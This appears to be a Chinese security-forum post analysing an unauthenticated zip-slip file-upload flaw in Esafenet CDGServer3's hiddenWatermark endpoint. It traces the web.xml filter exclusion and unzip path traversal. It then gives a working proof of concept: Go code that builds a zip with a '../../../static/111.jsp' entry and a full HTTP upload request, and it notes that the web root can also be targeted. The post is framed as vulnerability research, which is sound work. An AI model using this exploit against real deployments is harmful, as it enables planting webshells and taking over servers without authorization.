亿赛通hiddenWatermark文件上传漏洞分析
ttest 发表于 浙江 漏洞分析 2536浏览 · 2024-01-29 11:36

路由分析

查看web.xml

<!-- needed for ContextLoaderListener -->
<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/spring/spring-sip.xml</param-value>
</context-param>

<servlet>
    <servlet-name>springDispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/spring/spring-mvc.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>springDispatcherServlet</servlet-name>
    <url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
    <servlet-name>springDispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

DispatcherServlet 处理和分发Web请求,典型的Spring MVC配置方式。

看看过滤器

<!-- 验证serssion的过滤器 -->
    <filter>
        <filter-name>SessionValidateFilter</filter-name>
        <filter-class>
            com.esafenet.filter.SessionValidateFilter
        </filter-class>
        <init-param>
            <param-name>excludedLoginUrls</param-name>
            <param-value>/logincontroller,/static/,/images/,/img/,/js/,/css/,/style/,
                /sip-style/,/sip-js/,/index.jsp,/loginExpire.jsp,/app/,/paramExpire.jsp,/druid,/todolistjump.jsp,/3g/,/LinkFilterService
            </param-value>
        </init-param>
        <init-param>
            <param-name>excludedClientUrls</param-name>
            <param-value>/TestConnectService,/GetValidateLoginUserService,
                /GlobalServlet,/secretKey/,/security/,/s/rs/,/FileCountService,/FilesService,/formType,
                /FileAuditService,/GetBoeFlowService,/GetUserSafetyPolicyService,/old/,/GetMacUserSafetyPolicy,/GetLinuxUserSafetyPolicy,/UserLoginOutService1,
                /UninstallApplicationService1,/UpdatePasswordService,/CDGAuthoriseTempletService1,/MailApp,
                /formType1,/AutoSignService1,/clientMessage,/document/,/UpgradeService1,/UpgradeService2,
                /FileLog2Service,/ExamCDGDocService1,/retranAssetsXml,/getAllAuthKey,/ViolationsLogService,
                /DecryptionApp,/software/,/asset/,/deskLog/,/UsbRegStatusAppServlet,/docRenewApp,/EmailDecryptionApp,
                /offlineApp,/outgoingServlet,/OutgoingRestoreApp,/permissionApp,/PrintLimitApp,/SecurityDropApp,
                /warning/,/fileCount/,/PrintAuditService,/outgoing/,/SystemService,/EmailAuditService,
                /GetDeskSafetyPolicyService,/UsbControlServlet,/egmServer/,/syncPolicy/,/secret/,/UserAjax,/OrganiseAjax,
                /GetUsecPolicyService,/OfflineApplicationService1,/OfflineApplicationService2,/client/,/WorkFileServlet,
                /DecryptApplicationService1,/parameter/HookService,/SystemConfig,/UsersService,/workflowE/,/ClientAjax,
                /EmailDecryptFileStatusApp,/getUltraSecKO,/MailMessageLogServices,/dlUltrasec,/checkWindowsPolicyUpdate,/saveKoFile,
                /softwareAsset/,/FileLogsService,/pageConfig,/subSecretQuery,/branchPolicy/,/policyLibNew/,/subsecret/,/rpc/,
                /groupControl/,/subSecretAdd,/exaction/,/subSecretDelete,/syncApi,/patchTask,/patchUpgrade,/log/logReport,/fuseApi,
                /policyLockSend,/wfPasswordConfig/,/estProperties/,/pingandept/,/updateDB/goDbUpdate,/api/estChat/,/hiddenWatermark/,
                /api/syncdata/
            </param-value>
        </init-param>
        ......
    </filter>
    <filter-mapping>
        <filter-name>SessionValidateFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

这个 filter 会对 /* 鉴权,但是在配置中又排除了很多 url 。比如excludedClientUrls 中的/hiddenWatermark/

简单分析下SessionValidateFilter

excludedClientUrls中的 path 都放进 this.excludedClientUrls

继续看doFilter

看到excludedClientUrls中的都不需要鉴权,当然不只这个。

来看看具体路由,

指定包扫描的规则

<context:component-scan  base-package="com.esafenet.ta" use-default-filters="false">
    <context:include-filter type="annotation" expression="org.springframework.stereotype.Controller"/>
</context:component-scan>

漏洞分析

com.esafenet.ta.server.controller.deskManage.HiddenWatermarkController

很明显的上传,然后FileUtil.writeFile 将内容写进 一个 zip 文件,CDGUtil.unzipFile 将其解压。

跟进看看

与 压缩包内的文件名拼接,可以路径穿越。

回到uploadFile

String xmlPath = dirPath + File.separator + uuid + File.separator + "theme" + File.separator + "theme1.xml";
File file = new File(xmlPath);
fis1 = new FileInputStream(file);

这里可以构造 theme1.xml 按流程走下去。
但是也可以不构造,然后会抛出异常走 catch

catch (Exception var32) {
    logger.error(var32.getMessage(), var32);
    map.put("fileId", "null");
    var31 = false;
}

漏洞利用

制作压缩包

package main

import (
    "archive/zip"
    "os"
)

func main() {

    zipFilePath := "test1.zip"

    binary := []byte("test1")

    zipFile, err := os.OpenFile(zipFilePath, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0644)
    if err != nil {
        panic(err)
    }
    defer zipFile.Close()

    zipWriter := zip.NewWriter(zipFile)
    defer zipWriter.Close()

    zipInfo := &zip.FileHeader{
        Name:   "../../../static/111.jsp",
        Method: zip.Deflate,
    }

    writer, err := zipWriter.CreateHeader(zipInfo)
    if err != nil {
        panic(err)
    }

    _, err = writer.Write(binary)
    if err != nil {
        panic(err)
    }
}

这里由于写到根目录有鉴权,所以写到static等目录。
也可以写../../../../../tomcat/webapps/ROOT/

POST /CDGServer3/hiddenWatermark/uploadFile HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=------------------------ZJFgyTJOTvpUxHrORpYjkblliLjmziUgFqpcBCZJ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 183

--------------------------ZJFgyTJOTvpUxHrORpYjkblliLjmziUgFqpcBCZJ
Content-Disposition: form-data; name="doc";filename="1.zip"

{{file(d:\test1.zip)}}
--------------------------ZJFgyTJOTvpUxHrORpYjkblliLjmziUgFqpcBCZJ--

1 条评论
某人
表情
可输入 255